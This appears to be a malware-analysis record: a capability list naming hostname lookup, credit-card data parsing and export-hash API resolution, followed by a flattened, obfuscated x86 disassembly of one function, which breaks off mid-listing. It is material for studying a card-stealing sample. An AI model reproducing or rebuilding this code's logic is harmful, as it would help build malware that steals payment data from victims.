Function at 0x440ac8
Capabilities:
Get hostname
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1f0
mov esi, esp
mov dword [esi + 4], 0x5b668583
mov eax, dword [esi + 4]
cmp eax, 0x231b4d5
jle 0x440b71
cmp eax, 0x469974e5
jle 0x440bef
cmp eax, 0x5fa840b5
jg 0x440cd8
cmp eax, 0x528e5eed
jle 0x440ece
cmp eax, 0x59d26613
jg 0x44124d
cmp eax, 0x56641981
jg 0x441888
cmp eax, 0x54118fdd
jg 0x442474
cmp eax, 0x528e5eee
je 0x4437ee
cmp eax, 0x52c0094f
je 0x44383b
cmp eax, 0x533249d2
jne 0x440ae0
imul eax, dword [esi + 8], 0x7bc00000
add eax, 0xd9880000
mov dword [esi + 8], eax
push eax
call fcn.0044629b
add esp, 4
mov dword [esi + 4], 0x909d14cd
jmp 0x440ae0
cmp eax, 0xbad9b92e
jle 0x440c5e
cmp eax, 0xd62d79da
jg 0x440d4d
cmp eax, 0xc74ee641
jle 0x440f1c
cmp eax, 0xcde52219
jg 0x4412b6
cmp eax, 0xcbc2eb53
jg 0x4418cc
cmp eax, 0xc99362ea
jg 0x4424c2
cmp eax, 0xc74ee642
je 0x443864
cmp eax, 0xc779cb23
je 0x443870
cmp eax, 0xc8d4dac3
jne 0x440ae0
imul eax, dword [esi + 0xc], 0x54000
add eax, 0x620c1
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x8bc94a5
jmp 0x440ae0
cmp eax, 0x24ebbddf
jle 0x440dcb
cmp eax, 0x37538744
jle 0x440f86
cmp eax, 0x3c2d1d01
jg 0x441309
cmp eax, 0x39fa3475
jg 0x441940
cmp eax, 0x38d6897b
jg 0x442507
cmp eax, 0x37538745
je 0x4438af
cmp eax, 0x37b3dab2
je 0x4438c4
cmp eax, 0x37d8f3f6
jne 0x440ae0
mov eax, dword [esi + 0x198]
mov word [eax], 0xa
mov dword [esi + 4], 0x50649b06
jmp 0x440ae0
cmp eax, 0x9e79e560
jle 0x440e3d
cmp eax, 0xab2fa7c7
jle 0x441000
cmp eax, 0xb1fcd5fd
jg 0x441368
cmp eax, 0xaf477899
jg 0x4419c0
cmp eax, 0xac57f66d
jg 0x442556
cmp eax, 0xab2fa7c8
je 0x4438ef
cmp eax, 0xabf6196f
je 0x4438fe
cmp eax, 0xac54653c
jne 0x440ae0
mov dword [esi + 0x120], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x90], eax
mov dword [esi + 4], 0xd39e5d44
jmp 0x440ae0
cmp eax, 0x707f8d13
jle 0x44106c
cmp eax, 0x77dd275a
jg 0x4413dc
cmp eax, 0x7399185e
jg 0x441a2b
cmp eax, 0x72f4bcef
jg 0x4425b3
cmp eax, 0x707f8d14
je 0x443911
cmp eax, 0x72687fc5
je 0x443949
cmp eax, 0x72ce2b2b
jne 0x440ae0
mov eax, dword [esi + 8]
shr eax, 6
imul eax, eax, 0x12c000
add eax, 0x108000
shr eax, 5
or eax, 0x84
mov dword [esi + 8], eax
mov dword [esi + 4], 0xa0be244
jmp 0x440ae0
cmp eax, 0xefb47bd8
jg 0x4410fb
cmp eax, 0xe544d741
jle 0x441457
cmp eax, 0xea42df82
jg 0x441aa5
cmp eax, 0xe8fcf2a0
jg 0x442607
cmp eax, 0xe544d742
je 0x443981
cmp eax, 0xe5ad6a97
je 0x44399e
cmp eax, 0xe863f104
jne 0x440ae0
mov edi, dword [esi + 8]
add edi, 0x7b
mov eax, edi
shr eax, 0xb
mov dword [esi + 8], eax
push eax
call fcn.0044629b
add esp, 4
mov eax, 0x5286ace7
cmp edi, 0x3d000
jae 0x440dc3
mov eax, 0xbf257c92
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x1347eb9b
jg 0x441173
cmp eax, 0x8a26990
jle 0x4414b5
cmp eax, 0xd7a671b
jg 0x441add
cmp eax, 0xb296c60
jg 0x44263d
cmp eax, 0x8a26991
je 0x4439c6
cmp eax, 0x8bc94a5
je 0x4439f0
cmp eax, 0xa0be244
jne 0x440ae0
push eax
push eax
mov eax, esp
mov dword [esi + 0x94], eax
mov eax, dword [esi + 0x94]
add eax, 6
mov dword [esi + 0x14c], eax
mov dword [esi + 4], 0x5ca5926
jmp 0x440ae0
cmp eax, 0x8c6092d3
jg 0x4411f0
cmp eax, 0x865d8d31
jle 0x441526
cmp eax, 0x88d85f76
jg 0x441b51
cmp eax, 0x876f42a2
jg 0x44267c
cmp eax, 0x865d8d32
je 0x443a0a
cmp eax, 0x8735ae1d
je 0x443a33
cmp eax, 0x875432c2
jne 0x440ae0
imul eax, dword [esi + 8], 0x86
add eax, 0xffffb4b4
shr eax, 5
imul edi, eax, 0x4b
mov dword [esi + 8], edi
push edi
push 0x4c13
push 0x281f
call fcn.0042e7cb
add esp, 0xc
call fcn.00408e87
mov eax, 0x34436423
cmp edi, 0xe
jl 0x440ec6
mov eax, 0x74fd6f1f
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x4d980ff4
jle 0x44158e
cmp eax, 0x50649b05
jg 0x441bf4
cmp eax, 0x4e2ed2c0
jg 0x4426cc
cmp eax, 0x4d980ff5
je 0x443a5a
cmp eax, 0x4dcbe325
je 0x443a7d
cmp eax, 0x4dece08a
jne 0x440ae0
mov dword [esi + 4], 0x82edeb32
jmp 0x440ae0
cmp eax, 0xc21f4a10
jle 0x4415dc
cmp eax, 0xc4aa367b
jg 0x441c73
cmp eax, 0xc2fe1157
jg 0x44274a
cmp eax, 0xc21f4a11
je 0x443aa7
cmp eax, 0xc291bead
je 0x443aee
cmp eax, 0xc2e940b7
jne 0x440ae0
mov eax, dword [esi + 0xc]
shl eax, 7
and eax, 0xffe00000
imul eax, eax, 0x1a00
add eax, 0xffea5e00
shr eax, 0xd
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x24125407
jmp 0x440ae0
cmp eax, 0x2fbbcc49
jle 0x441628
cmp eax, 0x33ccfbcb
jg 0x441cae
cmp eax, 0x311b769f
jg 0x4427b0
cmp eax, 0x2fbbcc4a
je 0x443b0e
cmp eax, 0x2fc64b54
je 0x443b39
cmp eax, 0x3080e2d3
jne 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 5
and eax, 0x7fff
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x48e5
dec edx
add eax, 0xcd
shr eax, 0xa
mov dword [esi + 0xc], eax
mov eax, 0xc30cce50
cmp ecx, edx
je 0x440ff8
mov eax, 0x8e35aca4
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0xa2f2666b
jle 0x441689
cmp eax, 0xa6d1d8e9
jg 0x441d0f
cmp eax, 0xa6902076
jg 0x442807
cmp eax, 0xa2f2666c
je 0x443b45
cmp eax, 0xa3760a82
je 0x443b5f
cmp eax, 0xa4ce8544
jne 0x440ae0
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd8]
mov dword [esi + 0x1b8], eax
mov dword [esi + 4], 0xea42df83
jmp 0x440ae0
cmp eax, 0x679d302f
jle 0x4416dd
cmp eax, 0x6bbfb699
jg 0x441d56
cmp eax, 0x68b1d8cf
jg 0x442859
cmp eax, 0x679d3030
je 0x443b74
cmp eax, 0x67a56864
je 0x443ba1
cmp eax, 0x683bff05
jne 0x440ae0
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x1a8], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x19c]
mov dword [eax], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1a0]
mov dword [eax + 4], ecx
mov eax, dword [esi + 0x14]
add eax, 8
mov dword [esi + 0x1ac], eax
mov dword [esi + 4], 0xa2f2666c
jmp 0x440ae0
cmp eax, 0xf5a65959
jle 0x441733
cmp eax, 0xfb2a3d07
jg 0x441d9c
cmp eax, 0xf8e559fd
jg 0x4428a3
cmp eax, 0xf5a6595a
je 0x443bc2
cmp eax, 0xf6fe047f
je 0x443bf7
cmp eax, 0xf85fb342
jne 0x440ae0
imul eax, dword [esi + 8], 0xa8
shr eax, 8
imul ecx, eax, 0xde
shr ecx, 2
add ecx, 0xfffffeaf
mov dword [esi + 8], ecx
mov eax, 0x39fbe18f
cmp ecx, 0xf1
je 0x44116b
mov eax, 0xf4593bdd
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x1e2955fe
jle 0x4417a5
cmp eax, 0x20ed5b0d
jg 0x441de0
cmp eax, 0x1f8f41c7
jg 0x4428f1
cmp eax, 0x1e2955ff
je 0x443c1a
cmp eax, 0x1f096957
je 0x443c56
cmp eax, 0x1f87187b
jne 0x440ae0
mov edi, dword [esi + 8]
mov eax, 0xffffff4c
add edi, eax
shr edi, 4
add edi, 0xffffffad
mov dword [esi + 8], edi
call fcn.00408e87
push edi
call fcn.0044629b
add esp, 4
mov eax, 0x37b3dab2
cmp edi, 0xfe
jae 0x4411e8
mov eax, 0x8735ae1d
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x95cdd8e9
jle 0x441802
cmp eax, 0x9cc5e09b
jg 0x441e61
cmp eax, 0x98ba8217
jg 0x442964
cmp eax, 0x95cdd8ea
je 0x443c95
cmp eax, 0x95d3505f
je 0x443cc1
cmp eax, 0x968383c5
jne 0x440ae0
imul eax, dword [esi + 0xc], 0x14c00
add eax, 0x57f6f0
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xf5a6595a
jmp 0x440ae0
cmp eax, 0x5d1ff24b
jg 0x441eb0
cmp eax, 0x5b1058b8
jg 0x442991
cmp eax, 0x59d26614
je 0x443d1f
cmp eax, 0x5a2b3fc9
je 0x443d4c
cmp eax, 0x5a9da1ac
jne 0x440ae0
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff51
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x655f
shr eax, 0xb
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x45469859
cmp edx, ecx
je 0x4412ae
mov eax, 0x862db538
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0xd339d5fd
jg 0x441f0f
cmp eax, 0xd0460e07
jg 0x4429ca
cmp eax, 0xcde5221a
je 0x443d74
cmp eax, 0xce740087
je 0x443d99
cmp eax, 0xd01a2de7
jne 0x440ae0
mov eax, dword [esi + 8]
shl eax, 0x1d
mov ecx, 0x2c0000
sub ecx, eax
mov dword [esi + 8], ecx
mov dword [esi + 4], 0xd4b78af1
jmp 0x440ae0
cmp eax, 0x4147df61
jg 0x441f62
cmp eax, 0x3ed8f8ce
jg 0x442a27
cmp eax, 0x3c2d1d02
je 0x443dbd
cmp eax, 0x3d4662e1
je 0x443dcc
cmp eax, 0x3e6b01a1
jne 0x440ae0
mov edi, dword [esi + 8]
add edi, 0xffffffe6
shr edi, 8
mov dword [esi + 8], edi
call fcn.00408e87
mov eax, 0xbaeb7a37
cmp edi, 0x42
je 0x441360
mov eax, 0x39fbe18f
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0xb5a096cd
jg 0x441fc7
cmp eax, 0xb38b5093
jg 0x442a62
cmp eax, 0xb1fcd5fe
je 0x443dfa
cmp eax, 0xb274466f
je 0x443e16
cmp eax, 0xb37af821
jne 0x440ae0
mov ecx, dword [esi + 0xc]
mov eax, ecx
shr eax, 8
and ecx, 0xffffff00
imul eax, eax
imul edx, eax, 0x23
add ecx, 0x570
dec edx
shr ecx, 6
add ecx, 0xb8
mov dword [esi + 0xc], ecx
mov ecx, 0x4f0bb873
cmp eax, edx
je 0x4413d4
mov ecx, 0xef1c28c
mov dword [esi + 4], ecx
jmp 0x440ae0
cmp eax, 0x79dcd6a0
jg 0x44202f
cmp eax, 0x79916b10
jg 0x442ab2
cmp eax, 0x77dd275b
je 0x443e44
cmp eax, 0x79507f6f
je 0x443e80
cmp eax, 0x79848f3b
jne 0x440ae0
imul edi, dword [esi + 8], 0x498
add edi, 0x10140
mov dword [esi + 8], edi
call fcn.00408e87
push 0x3040
push edi
push 0x45a0
push 0x4510
call fcn.00447260
add esp, 0x10
mov eax, 0xa225c1e2
cmp edi, 0x48
je 0x44144f
mov eax, 0x73c1c3f2
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0xde61a78b
jg 0x442094
cmp eax, 0xd90fc939
jg 0x442aee
cmp eax, 0xd62d79db
je 0x443ec3
cmp eax, 0xd7189431
je 0x443f01
cmp eax, 0xd8513493
jne 0x440ae0
mov ecx, dword [esi + 8]
mov eax, 0xe5
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0xb9650f70
cmp ecx, 0xf0
jae 0x4414ad
mov eax, 0x74fd6f1f
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x492e878
jle 0x4420ef
cmp eax, 0x6652a4d
jg 0x442b35
cmp eax, 0x492e879
je 0x443f3e
cmp eax, 0x5ca5926
je 0x443f62
cmp eax, 0x5da9f2f
jne 0x440ae0
imul edi, dword [esi + 8], 0xfac
dec edi
mov dword [esi + 8], edi
push edi
push 0x4a2b
push 0x260d
push 0x24f
call fcn.00447380
add esp, 0x10
mov eax, 0x74b929fc
cmp edi, 7
jl 0x44151e
mov eax, 0x6652a4e
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x835148ae
jle 0x442142
cmp eax, 0x84e89f41
jg 0x442b71
cmp eax, 0x835148af
je 0x443f77
cmp eax, 0x83d6949d
je 0x443fb0
cmp eax, 0x840a5579
jne 0x440ae0
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov dword [esi + 0x138], eax
mov dword [esi + 4], 0xc4aa367c
jmp 0x440ae0
cmp eax, 0x49d0e367
jle 0x4421a2
cmp eax, 0x4b5110d7
jg 0x442bb5
cmp eax, 0x49d0e368
je 0x443ff5
cmp eax, 0x4a3c51f5
je 0x44402a
cmp eax, 0x4b427871
jne 0x440ae0
mov eax, dword [esi + 0x1c]
mov eax, dword [eax]
mov dword [esi + 0x174], eax
mov dword [esi + 4], 0x7e1918fa
jmp 0x440ae0
cmp eax, 0xbf3ab78c
jle 0x4421f2
cmp eax, 0xc0f7ff5c
jg 0x442c06
cmp eax, 0xbf3ab78d
je 0x44405b
cmp eax, 0xbf4444f6
je 0x44409b
cmp eax, 0xc0a7ca6d
jne 0x440ae0
mov eax, dword [esi + 0x180]
mov byte [eax], 0
mov dword [esi + 4], 0xf31e7dc1
jmp 0x440ae0
cmp eax, 0x2a354783
jle 0x442280
cmp eax, 0x2d53bf5f
jg 0x442c54
cmp eax, 0x2a354784
je 0x4440e1
cmp eax, 0x2d0400f9
je 0x444134
cmp eax, 0x2d26e45e
jne 0x440ae0
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xc0]
mov ecx, dword [esi + 0xc4]
mov dword [esi + 0x19c], eax
mov dword [esi + 4], 0x8a26991
jmp 0x440ae0
cmp eax, 0xa10ace43
jle 0x4422cf
cmp eax, 0xa188e092
jg 0x442d0a
cmp eax, 0xa10ace44
je 0x444167
cmp eax, 0xa140a1ab
je 0x4441a0
cmp eax, 0xa188b9d6
jne 0x440ae0
push dword [esi + 0x1c]
call fcn.0044d480
add esp, 4
mov dword [esi + 0x164], eax
mov dword [esi + 4], 0xc2e940b7
jmp 0x440ae0
cmp eax, 0x61ea1717
jle 0x442314
cmp eax, 0x6403a007
jg 0x442d41
cmp eax, 0x61ea1718
je 0x4441bd
cmp eax, 0x6255cc27
je 0x4441de
cmp eax, 0x6299c876
jne 0x440ae0
push 0x1e
push dword [esi + 0xf8]
push dword [esi + 0x6c]
call fcn.00450060
add esp, 0xc
mov dword [esi + 4], 0x2fbbcc4a
jmp 0x440ae0
cmp eax, 0xf31e7dc0
jle 0x44236c
cmp eax, 0xf4563576
jg 0x442d71
cmp eax, 0xf31e7dc1
je 0x4441f8
cmp eax, 0xf3bd0545
je 0x444244
cmp eax, 0xf3d87e13
jne 0x440ae0
mov edi, 0x1b
push edi
push 0x484530
push dword [esi + 0xa8]
call fcn.00450060
add esp, 0xc
push 6
push 0x48454b
push edi
push dword [esi + 0xa8]
call fcn.00447380
add esp, 0x10
mov dword [esi + 4], 0x876f42a3
jmp 0x440ae0
cmp eax, 0x16fc7476
jle 0x4423dc
cmp eax, 0x1936181a
jg 0x442dc5
cmp eax, 0x16fc7477
je 0x44425e
cmp eax, 0x181b1a3b
je 0x444286
cmp eax, 0x192f5a00
jne 0x440ae0
mov ecx, dword [esi + 8]
shr ecx, 0xc
add ecx, 0xd
shr ecx, 2
mov dword [esi + 8], ecx
mov eax, 0xd7189431
cmp ecx, 4
je 0x4417fa
mov eax, 0xb463e79f
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x909d14cc
jle 0x44242e
cmp eax, 0x930e8731
jg 0x442e20
cmp eax, 0x909d14cd
je 0x4442bb
cmp eax, 0x91b2dfcd
je 0x4442e3
cmp eax, 0x91f8b2e8
jne 0x440ae0
mov ebx, dword [esi + 8]
shl ebx, 4
add ebx, 0xffffeed0
mov edi, 0xe0518cc5
and ebx, 0xffff8000
mov dword [esi + 8], ebx
je 0x44185a
mov edi, 0xf4593bdd
push 0x2b28
push 0x1b99
push ebx
call fcn.0042e7cb
add esp, 0xc
push 0x58ba
push 0x5108
push ebx
call fcn.0042e7cb
add esp, 0xc
mov dword [esi + 4], edi
jmp 0x440ae0
cmp eax, 0x578adb75
jg 0x442e80
cmp eax, 0x56641982
je 0x444328
cmp eax, 0x573dd94c
je 0x444343
cmp eax, 0x577d64e4
jne 0x440ae0
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xa0], eax
mov dword [esi + 4], 0x469974e6
jmp 0x440ae0
cmp eax, 0xcc9eb19a
jg 0x442ecf
cmp eax, 0xcbc2eb54
je 0x444367
cmp eax, 0xcc14c886
je 0x4443b5
cmp eax, 0xcc429f6a
jne 0x440ae0
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xd0]
mov ecx, dword [esi + 0xd4]
mov dword [esi + 0x1b0], eax
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov dword [esi + 0x1b4], eax
mov dword [esi + 4], 0xa4ce8544
jmp 0x440ae0
cmp eax, 0x3b011fee
jg 0x442f06
cmp eax, 0x39fa3476
je 0x444400
cmp eax, 0x39fbe18f
je 0x44445f
cmp eax, 0x3ab64d2a
jne 0x440ae0
mov ebx, dword [esi + 8]
shl ebx, 0xe
add ebx, 0x3c0000
mov dword [esi + 8], ebx
push ebx
push 0xeec
push 0x2b16
push 0x51e4
call fcn.00447260
add esp, 0x10
push 0x357c
push 0x3fe3
push ebx
call fcn.0042e7cb
add esp, 0xc
mov eax, 0x7e3d8bd7
cmp ebx, 0xd6
jge 0x4419b8
mov eax, 0x6032095f
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0xb10facfc
jg 0x442f3c
cmp eax, 0xaf47789a
je 0x444496
cmp eax, 0xafec42fd
je 0x4444b6
cmp eax, 0xb0e1b55f
jne 0x440ae0
push dword [esi + 0x5c]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x100]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], pe_nt_image_headers32
mov dword [esi + 4], 0x60edd945
jmp 0x440ae0
cmp eax, 0x742e0220
jg 0x442f9e
cmp eax, 0x7399185f
je 0x4444e0
cmp eax, 0x73bde01b
je 0x444515
cmp eax, 0x73c1c3f2
jne 0x440ae0
imul ebx, dword [esi + 8], 0x32
add ebx, 0x2e63
shr ebx, 5
and ebx, 0xfffffff8
mov dword [esi + 8], ebx
push ebx
call fcn.00440ac8
add esp, 4
push 0x3c06
push 0x3e1c
push 0x3385
push ebx
call fcn.00447380
add esp, 0x10
mov eax, 0xe9975444
cmp ebx, 0xc6
jae 0x441a9d
mov eax, 0x1347eb9c
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0xed86323e
jg 0x442fda
cmp eax, 0xea42df83
je 0x444543
cmp eax, 0xea8c8821
je 0x44454f
cmp eax, 0xed0da876
jne 0x440ae0
mov dword [esi + 4], 0xcb2d4c25
jmp 0x440ae0
cmp eax, 0xef1c28b
jg 0x44307b
cmp eax, 0xd7a671c
je 0x444569
cmp eax, 0xdd1c1f7
je 0x444584
cmp eax, 0xde3b9cc
jne 0x440ae0
mov edi, dword [esi + 8]
mov eax, 0xfffffee5
add edi, eax
mov dword [esi + 8], edi
push edi
call fcn.00440ac8
add esp, 4
push 0x25e4
push 0x3178
push 0x1840
push edi
call fcn.00447260
add esp, 0x10
mov eax, 0x3d4662e1
cmp edi, 0xb1
je 0x441b49
mov eax, 0x875432c2
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x8a159cd0
jg 0x4430cf
cmp eax, 0x88d85f77
je 0x4445b5
cmp eax, 0x89c20c5a
je 0x4445c1
cmp eax, 0x8a146f18
jne 0x440ae0
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x134], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x84]
mov byte [eax + 0xb], 0
mov eax, dword [esi + 0x84]
mov cl, byte [0x4844c9]
mov byte [eax + 0xa], cl
movzx ecx, word [0x4844c7]
mov word [eax + 8], cx
mov ecx, dword [0x4844c3]
mov dword [eax + 4], ecx
mov ecx, dword [0x4844bf]
mov dword [eax], ecx
push 4
push 0x4844ca
push 0xb
push dword [esi + 0x84]
call fcn.00447380
add esp, 0x10
mov dword [esi + 4], 0xb10facfd
jmp 0x440ae0
cmp eax, 0x519910a7
jg 0x44313f
cmp eax, 0x50649b06
je 0x4445df
cmp eax, 0x507da226
je 0x4445eb
cmp eax, 0x5101437e
jne 0x440ae0
push str.cabinaC8E0__Torrent
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x140], eax
push eax
mov eax, esp
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x8c]
mov byte [eax + 2], 0
mov eax, dword [esi + 0x8c]
movzx ecx, word [0x4844e5]
mov word [eax], cx
mov dword [esi + 4], 0x25ed8bdd
jmp 0x440ae0
cmp eax, 0xc5f299be
jg 0x443176
cmp eax, 0xc4aa367c
je 0x44460b
cmp eax, 0xc5870a4e
je 0x44462e
cmp eax, 0xc5e72542
jne 0x440ae0
mov eax, dword [esi + 0x38]
mov dword [esi + 4], 0x577d64e4
jmp 0x440ae0
cmp eax, 0x34ea88bb
jg 0x4431e5
cmp eax, 0x33ccfbcc
je 0x444651
cmp eax, 0x34436423
je 0x444695
cmp eax, 0x34a85f49
jne 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 4
imul ecx, eax, 0xba000
imul eax, eax
imul edx, eax, 0x8531
dec edx
add ecx, 0xffff85f0
mov dword [esi + 0xc], ecx
mov ecx, 0x79c5bcd5
cmp eax, edx
je 0x441d07
mov ecx, 0x4b79651c
mov dword [esi + 4], ecx
jmp 0x440ae0
cmp eax, 0xaa3433bf
jg 0x443221
cmp eax, 0xa6d1d8ea
je 0x4446f3
cmp eax, 0xa7055612
je 0x44470e
cmp eax, 0xa7071fc1
jne 0x440ae0
push 1
push 0x41
call fcn.004600e3
add esp, 8
mov dword [esi + 0x14], eax
mov dword [esi + 4], 0x84e89f42
jmp 0x440ae0
cmp eax, 0x6e84da03
jg 0x443276
cmp eax, 0x6bbfb69a
je 0x444726
cmp eax, 0x6c07dc46
je 0x44473b
cmp eax, 0x6e5dfc4e
jne 0x440ae0
mov eax, dword [esi + 0x16c]
mov eax, dword [eax]
mov dword [esi + 0x170], eax
mov dword [esi + 4], 0x4b427871
jmp 0x440ae0
cmp eax, 0xff67e51c
jg 0x4432a3
cmp eax, 0xfb2a3d08
je 0x444747
cmp eax, 0xfc6459f5
je 0x444778
cmp eax, 0xfc82ddc8
jne 0x440ae0
mov eax, dword [esi + 0x34]
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
mov dword [esi + 4], 0xe532cf3d
jmp 0x440ae0
cmp eax, 0x23c77ee3
jg 0x4432f8
cmp eax, 0x20ed5b0e
je 0x4447aa
cmp eax, 0x23027298
je 0x4447df
cmp eax, 0x23139ff4
jne 0x440ae0
push 8
push 0x4780a8
push 0xc
push dword [esi + 0xb8]
call fcn.00447260
add esp, 0x10
push dword [esi + 0xb8]
push 0x2f9959e0
call fcn.0044b10c
add esp, 8
mov edi, 0x55
push edi
push dword [esi + 0x114]
call eax
push 1
push edi
call fcn.004600e3
add esp, 8
mov dword [esi + 0x118], eax
mov dword [esi + 4], 0xc1cecfe1
jmp 0x440ae0
cmp eax, 0x9d967b78
jg 0x443336
cmp eax, 0x9cc5e09c
je 0x444808
cmp eax, 0x9d5bbabb
je 0x444845
cmp eax, 0x9d673473
jne 0x440ae0
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x34]
mov dword [esi + 4], 0xc2fe1158
jmp 0x440ae0
cmp eax, 0x5e20d2cb
jg 0x44336f
cmp eax, 0x5d1ff24c
je 0x44488b
cmp eax, 0x5d54c426
je 0x4448b5
cmp eax, 0x5d88e89e
jne 0x440ae0
imul edi, dword [esi + 8], 0xd00
mov dword [esi + 8], edi
push 0x597e
push 0x57d9
push edi
call fcn.0042e7cb
add esp, 0xc
mov eax, 0x24a0fa82
test edi, edi
je 0x441f07
mov eax, 0x7e1918fa
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0xd4b78af0
jg 0x4433b3
cmp eax, 0xd339d5fe
je 0x4448c1
cmp eax, 0xd39e5d44
je 0x4448e1
cmp eax, 0xd3b5b038
jne 0x440ae0
imul ecx, dword [esi + 8], 0x630000
add ecx, 0x45ffcf
mov dword [esi + 8], ecx
mov eax, 0x5101437e
cmp ecx, 0x67
jl 0x441f5a
mov eax, 0x2231c25
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x45469858
jg 0x44340e
cmp eax, 0x4147df62
je 0x444918
cmp eax, 0x42ec90ab
je 0x444933
cmp eax, 0x435a0da4
jne 0x440ae0
push 1
push 0x800
call fcn.004600e3
add esp, 8
mov dword [esi + 0x110], eax
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 8]
mov dword [esi + 0x168], eax
mov eax, dword [esi + 0x1c]
add eax, 4
mov dword [esi + 0x16c], eax
mov dword [esi + 4], 0x6e5dfc4e
jmp 0x440ae0
cmp eax, 0xb8442e43
jg 0x443465
cmp eax, 0xb5a096ce
je 0x44496f
cmp eax, 0xb5c9ae72
je 0x44499b
cmp eax, 0xb6e7b0da
jne 0x440ae0
push 4
push 0x478058
push 0xc
push dword [esi + 0x90]
call fcn.00447260
add esp, 0x10
push dword [esi + 0x90]
push 0xa2f80070
call fcn.0044b10c
add esp, 8
mov dword [esi + 0x148], eax
mov dword [esi + 4], 0x4147df62
jmp 0x440ae0
cmp eax, 0x7e1918f9
jg 0x4434a6
cmp eax, 0x79dcd6a1
je 0x4449cd
cmp eax, 0x7b77bc8f
je 0x4449ff
cmp eax, 0x7e0ab08c
jne 0x440ae0
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xb4], eax
mov eax, dword [esi + 0xb4]
mov byte [eax + 8], 0
mov eax, dword [esi + 0xb4]
mov ecx, dword [str._n___]
mov dword [eax + 4], ecx
mov ecx, dword [0x4845a4]
mov dword [eax], ecx
mov dword [esi + 4], 0xb37af821
jmp 0x440ae0
cmp eax, 0xe1c66a6b
jg 0x4434fa
cmp eax, 0xde61a78c
je 0x444a18
cmp eax, 0xe0518cc5
je 0x444a3c
cmp eax, 0xe182b0cc
jne 0x440ae0
mov ecx, dword [esi + 8]
shr ecx, 8
and ecx, 0xffffe
lea eax, [ecx - 0x165]
mov dword [esi + 8], eax
mov eax, 0x7e3d8bd7
cmp ecx, 0x25c
jae 0x4420e7
mov eax, 0x367e9265
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x3ea9760
jle 0x443552
cmp eax, 0x3ea9761
je 0x444a84
cmp eax, 0x446e549
je 0x444ab6
cmp eax, 0x4502b9a
jne 0x440ae0
imul ecx, dword [esi + 8], 0x3cc0
add ecx, 0xffd8169c
mov dword [esi + 8], ecx
mov eax, 0xbddb934c
cmp ecx, 0x61
jge 0x44213a
mov eax, 0x37b3dab2
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x82d3071e
jle 0x443580
cmp eax, 0x82d3071f
je 0x444ade
cmp eax, 0x82edeb32
je 0x444af6
cmp eax, 0x82f9eba8
jne 0x440ae0
mov eax, dword [esi + 0xc]
add eax, 0xffffffd8
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x28db
shr eax, 0xe
dec edx
imul eax, eax, 0xa2
mov dword [esi + 0xc], eax
mov eax, 0x840a5579
cmp ecx, edx
je 0x44219a
mov eax, 0x3c2d1d02
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x485de71a
jle 0x4435c8
